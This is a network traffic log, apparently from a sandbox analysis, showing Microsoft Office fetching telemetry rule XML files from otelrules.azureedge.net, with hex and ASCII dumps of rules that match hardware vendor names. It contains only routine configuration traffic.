2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 69b48820-e01e-0099-092d-27da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191404Z-17c5cb586f64v7xsc2ahm8gsgw00000003f00000000082hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: d63b5638-a01e-0021-2ab4-27814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191404Z-16849878b78hh85qc40uyr8sc800000008t0000000007d2y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 19:14:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:04 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 8e3eac93-d01e-0017-759c-27b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191404Z-15b8d89586fnsf5zkvx8tfb0zc00000003kg00000000c0vc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:04 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 01fc617d-601e-000d-05a4-262618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191404Z-16849878b78x44pv2mpb0dd37w00000000e0000000008u90 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:04 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:04 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 5e4053db-f01e-0052-6472-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191404Z-16849878b78xblwksrnkakc08w00000007qg00000000f9tu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:04 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: a783173c-501e-008c-2349-27cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-15b8d89586fzcfbd8we4bvhqds00000003bg00000000crut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:04 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 6856914c-401e-0029-0667-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191404Z-16849878b7898p5f6vryaqvp58000000094g0000000141gc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:05 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: f3394f62-601e-0070-07f3-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-16849878b78qg9mlz11wgn0wcc000000082000000000aa0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:04 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: fa89f893-901e-00ac-46b8-2ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-159b85dff8f46f6ghC1DFW1p0n00000000g000000000hwnm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:05 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:05 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:05 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-16849878b785dznd7xpawq9gcn00000009wg000000007n9m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:05 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:06 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 99f07890-301e-0051-29d2-2538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-16849878b785dznd7xpawq9gcn00000009r000000000yw2x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:06 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:14:05 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 19:14:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:14:05 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T191405Z-16849878b78wc6ln1zsrz6q9w8000000085000000000a4m1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 19:14:05 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" 